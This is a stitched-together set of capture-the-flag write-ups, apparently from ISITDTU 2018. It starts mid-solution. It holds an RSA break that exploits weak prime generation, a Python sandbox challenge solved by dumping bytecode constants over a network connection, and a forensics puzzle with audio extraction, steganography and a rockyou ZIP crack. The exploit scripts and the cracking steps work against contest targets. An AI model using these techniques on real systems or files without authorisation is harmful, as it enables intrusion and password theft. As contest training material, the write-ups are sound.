153348390614662968396805701018941225929976855876673665545678808357493865670852637784454103632206407687489178974011663144922612614936251484669376715328818177626125051048699207156003563901638883835345344061093282392322541967439067639713967480376436913225761668591305793224841429397848597912616509823391639856132 guess = bin_srch(n, 1<<251, 1<<252, poly) p = 0for g in range(-1000+guess, 1000+guess): if n % g == 0: p = g break primes = [p]for i in range(3): primes.append(next_prime(primes[i]*10)) print 'primes:', primes phi = reduce(lambda a,b: a*(b-1), primes, 1)print(long_to_bytes(pow(c, modinv(65537, phi), n)).decode('utf-8'))```
We're given a prompt, which turns out to be some variant of a python repl: ```$ nc 178.128.12.234 10002This is function x()>>>dir<built-in function dir>``` There's a limit on our input though, at 19 chars + newline, so what can we do in 19 or less? Let's see what we've got:```This is function x()>>>globals(){'server_thread': <Thread(Thread-1, started daemon 140225032603392)>, 'ThreadedTCPRequestHandler': <class __main__.ThreadedTCPRequestHandler at 0x7f88b0d32530>, 'ThreadedTCPServer': <class __main__.ThreadedTCPServer at 0x7f88b0d324c8>, 'socket': <module 'socket' from '/usr/lib/python2.7/socket.pyc'>, 'SocketServer': <module 'SocketServer' from '/usr/lib/python2.7/SocketServer.pyc'>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': '/home/xoxopwn/xoxopwn.py', 'o': <function o at 0x7f88b0d21c80>, '__package__': None, 'port': 9999, 'threading': <module 'threading' from '/usr/lib/python2.7/threading.pyc'>, 'host': '0.0.0.0', 'x': <function x at 0x7f88b0d2e050>, '__name__': '__main__', '__doc__': None, 'serverthuong123': <__main__.ThreadedTCPServer instance at 0x7f88b0d19e18>}``` `o` and `x` stand out. Let's dump code and globals for `o`: ```This is function x()>>> o.__code__.co_consts(None, '392a3d3c2b3a22125d58595733031c0c070a043a071a37081d300b1d1f0b09', 'hex', 'pythonwillhelpyouopenthedoor', '', 'Open the door', 'Close the door') This is function x()>>> o.__code__.co_code00000000: 6401 007d 0100 7c01 006a 0000 6402 0083 d..}..|..j..d...00000010: 0100 7d01 0064 0300 7d02 0064 0400 7d03 ..}..d..}..d..}.00000020: 0078 4c00 7401 0074 0200 7c00 0083 0100 .xL.t..t..|.....00000030: 8301 0044 5d38 007d 0400 7c03 0074 0300 ...D]8.}..|..t..00000040: 7404 007c 0000 7c04 0019 8301 0074 0400 t..|..|......t..00000050: 7c02 007c 0400 7402 007c 0000 8301 0016 |..|..t..|......00000060: 1983 0100 4183 0100 377d 0300 7134 0057 ....A...7}..q4.W00000070: 7c03 007c 0100 6b02 0072 8400 6405 0047 |..|..k..r..d..G00000080: 486e 0500 6406 0047 4864 0000 53 Hn..d..GHd..S``` Dump it into python and disassemble: ```import disdis.dis(open("raw", "rb").read()) 0 LOAD_CONST 1 (1) '392a3d3c2b3a22125d58595733031c0c070a043a071a37081d300b1d1f0b09' 2 <0> 4 POP_TOP 6 LOAD_FAST 1 (1) 8 <0> 10 <0> 12 LOAD_CONST 2 (2) 'hex' 14 <0> 16 POP_TOP 18 STORE_FAST 1 (1) 20 <0> 22 ROT_THREE 24 STORE_FAST 2 (2) 26 <0> 28 DUP_TOP 30 STORE_FAST 3 (3) 32 <0> 34 INPLACE_RSHIFT 36 LOAD_GLOBAL 1 (1) 38 <0> 40 ROT_TWO 42 LOAD_FAST 0 (0) 44 <0> 46 POP_TOP 48 CALL_FUNCTION 1 50 <0> >> 52 FOR_ITER 56 (to 110) 54 <0> 56 DUP_TOP 58 LOAD_FAST 3 (3) 'pythonwillhelpyouopenthedoor' 60 <0> 62 ROT_THREE 64 LOAD_GLOBAL 4 (4) 66 <0> 68 <0> 70 LOAD_FAST 4 (4) 72 <0> 74 CALL_FUNCTION 1 76 <0> 78 DUP_TOP 80 LOAD_FAST 2 (2) 82 <0> 84 DUP_TOP 86 LOAD_GLOBAL 2 (2) 88 <0> 90 <0> 92 CALL_FUNCTION 1 94 <0> 96 BINARY_SUBSCR 98 POP_TOP 100 BINARY_XOR 102 POP_TOP 104 INPLACE_ADD 106 ROT_THREE 108 JUMP_ABSOLUTE 52 >> 110 <0> 112 LOAD_FAST 3 (3) 'pythonwillhelpyouopenthedoor' 114 <0> 116 POP_TOP 118 COMPARE_OP 2 (==) 120 <0> 122 MAKE_FUNCTION 0 124 LOAD_CONST 5 (5) 126 <0> 128 YIELD_FROM 130 DUP_TOP_TWO 132 LOAD_CONST 6 (6) 134 <0> 136 YIELD_FROM 138 <0> 140 RETURN_VALUE``` We could continue to dump `x` (just tells us to look in `o`), and `globals()`, but a quick glance and educated guess yielded a quicker solutions (as opposed to earnestly going through the disassembly): ```python3from binascii import unhexlify msg = unhexlify("392a3d3c2b3a22125d58595733031c0c070a043a071a37081d300b1d1f0b09")key = list(map(ord, "pythonwillhelpyouopenthedoor")) print("".join([chr(msg[i]^key[i%len(key)]) for i in range(len(msg))]))``` Also known as: `ISITDTU{1412_secret_in_my_door}`
# Ghost in the flash (forensics/stegano, 4 solved, 416p) ```Alice sent Bob a package with a flash drive.Bob thinks there is a message hidden on it but he couldn't find it.The only clue is the mysterious inscription on the envelope:"Hear the voice of the future and remember: there are shadows because there are hills."Help Bob read the message!``` We didn't manage to solve this task, but we got pretty far ahead, and it was fun, so we will share what we managed to find. In the task you get a large flashdrive dump.Apart from some random garbage-overwritten files there are 2 files of interest.First one seems to be a red-herring plng file: ![](herring.png) However it actually hints at a certain thing at later stage. The second thing we can find on the drive is a video, pretty much this one: https://www.youtube.com/watch?v=gXTnl1FVFBwThe interesting thing about the video was the fact that the length was over 1h, instead of slighly over 8 minutes.Upon further inspection we found out that there are 2 audio tracks in the video.First one is the original one, as far as we could tell, but the other one was over 1h long beeps. We had to extract the sound file for further analysis. Doing this requires two steps: First, we had to find track numbers in the MKV file:```$ mkvinfo /media/GHOST_FLASH/Ghost_In_The_Shell_-_ Identity_in_Space.mkv[...]| + Track| + Track number: 3 (track ID for mkvmerge & mkvextract: 2)| + Track UID: 3| + Lacing flag: 0| + Language: und| + Default track flag: 0| + Codec ID: A_PCM/INT/LIT| + Track type: audio| + Audio track| + Channels: 1| + Sampling frequency: 2000| + Bit depth: 16[...]```And then use the `mkvextract` to export the track:```$ mkvextract /media/GHOST_FLASH/Ghost_In_The_Shell_-_\ Identity_in_Space.mkv tracks 2:./track_2.wav``` Once you look into [second track](track_2.wav) with Audacity you can see an interesting regularity in the wave shape: ![](shape.png) The entire file consists of either 1 or 3 sinusoids, and there is a long or short gap between them.Our best guess was Morse code, and we were right.Once you decode the Morse, you get a nice base32 string, which in turn decodes to another png file: ![](img.png) In the background of this picture you can see a shade of QR code, and if you extract red/blue/green plane 3 using stegsolve, you can clearly see the QR code.It's broken, but you can just draw the missing anchor points and timings and you get: ![](qr.png) This scans to a base64 encoded string: ```UEsDBDMAAQBjAAUcrUwAAAAAzgAAANoAAAASAAsAYW5vdGhlcl9jYXN0bGUudHh0AZkHAAIAQUUDDADtiBBDwn9aPh4PGNA5rPdc/hzpopn5YZ9wTG/+H1D/9PBlIYqQWVHs5DgCtgBVTsDIpK73Lw3QhJygDbqd0pkXPTjxKS7Vo8vUuIMyQddXnxFBe31X4dhRW+rIqQANSS24UtXsMYryWVCVBT+0A5qrfv87f+6afcN+zpmtLdlJ9Kep1ps7TfBEFSwyuVXxJjfYMwc27e4S+EoGkDjoSxc/32B9QG74mylR6bhyLJ/wexxSfBGXEL1V7bE+DccMGrBpdzZ6S+QLTWhf0tIuzVBLAQI/ADMAAQBjAAUcrUwAAAAAzgAAANoAAAASAC8AAAAAAAAAICAAAAAAAABhbm90aGVyX2Nhc3RsZS50eHQKACAAAAAAAAEAGAAF64PTUerTAede9Vk+6tMB5171WT7q0wEBmQcAAgBBRQMMAFBLBQYAAAAAAQABAG8AAAAJAQAAAAA=``` Which is an encrypted ZIP with `another_castle.txt` file inside.We cracked the password using rockyou database and with `Sector9` password we extracted the contents: ```7h47'5_411_i7_i5:_inf0rm47i0n._3v3n_4_5imu1473d_3xp3ri3nc3_0r_4_dr34m;_5imu174n30u5_r341i7y_4nd_f4n745y._4ny_w4y_y0u_100k_47_i7,_411_7h3_inf0rm47i0n_7h47_4_p3r50n_4ccumu14735_in_4_1if37im3_i5_ju57_4_dr0p_in_7h3_buck37.``` And this is as far as we managed to get.
[https://rls1004.github.io/2018-07-29-isitdtu-writeup-xoxopwn/](https://rls1004.github.io/2018-07-29-isitdtu-writeup-xoxopwn/) --- use `co_code` and `co_consts`. ```shThis is function x()>>> o.func_code.co_coded}|jd}d}d}xLtt|D]8}|tt||t||t|A7}q4W||krdGHndGHdS``` ```shThis is function x()>>> o.func_code.co_consts(None, '392a3d3c2b3a22125d58595733031c0c070a043a071a37081d300b1d1f0b09', 'hex', 'pythonwillhelpyouopenthedoor', '', 'Open the door', 'Close the door')``` --- code and flag```pythona = '392a3d3c2b3a22125d58595733031c0c070a043a071a37081d300b1d1f0b09'b = 'pythonwillhelpyouopenthedoor'b += b[:len(a)/2-len(b)] a = int(a,16)b = int(b.encode('hex'),16) result = hex(a^b)[2:-1].decode('hex') print result``````ISITDTU{1412_secret_in_my_door}```
The key generation process is flawed - the function used to find modulus is monotonic and thus we can use binary search to recover original input fast: ```#!/usr/bin/env python3 import gmpy2 def find_n(seed): p = gmpy2.next_prime(seed) p1 = gmpy2.next_prime(10*p) p2 = gmpy2.next_prime(10*p1) p3 = gmpy2.next_prime(10*p2) return p*p1*p2*p3 N = 603040899191765499692105412408128039799635285914243838639458755491385487537245112353139626673905393100145421529413079339538777058510964724244525164265239307111938912323072543529589488452173312928447289267651249034509309453696972053651162310797873759227949341560295688041964008368596191262760564685226946006231c = 153348390614662968396805701018941225929976855876673665545678808357493865670852637784454103632206407687489178974011663144922612614936251484669376715328818177626125051048699207156003563901638883835345344061093282392322541967439067639713967480376436913225761668591305793224841429397848597912616509823391639856132 r = 0 for i in range(280, 0, -1): if find_n(r + 2**i) <= N: r += 2**i p = gmpy2.next_prime(r)p1 = gmpy2.next_prime(10*p)p2 = gmpy2.next_prime(10*p1)p3 = gmpy2.next_prime(10*p2) phi = (p-1)*(p1-1)*(p2-1)*(p3-1) d = gmpy2.invert(2**16+1, phi) decrypted = int(pow(c, d, N)) print(decrypted.to_bytes(50, 'big')) ```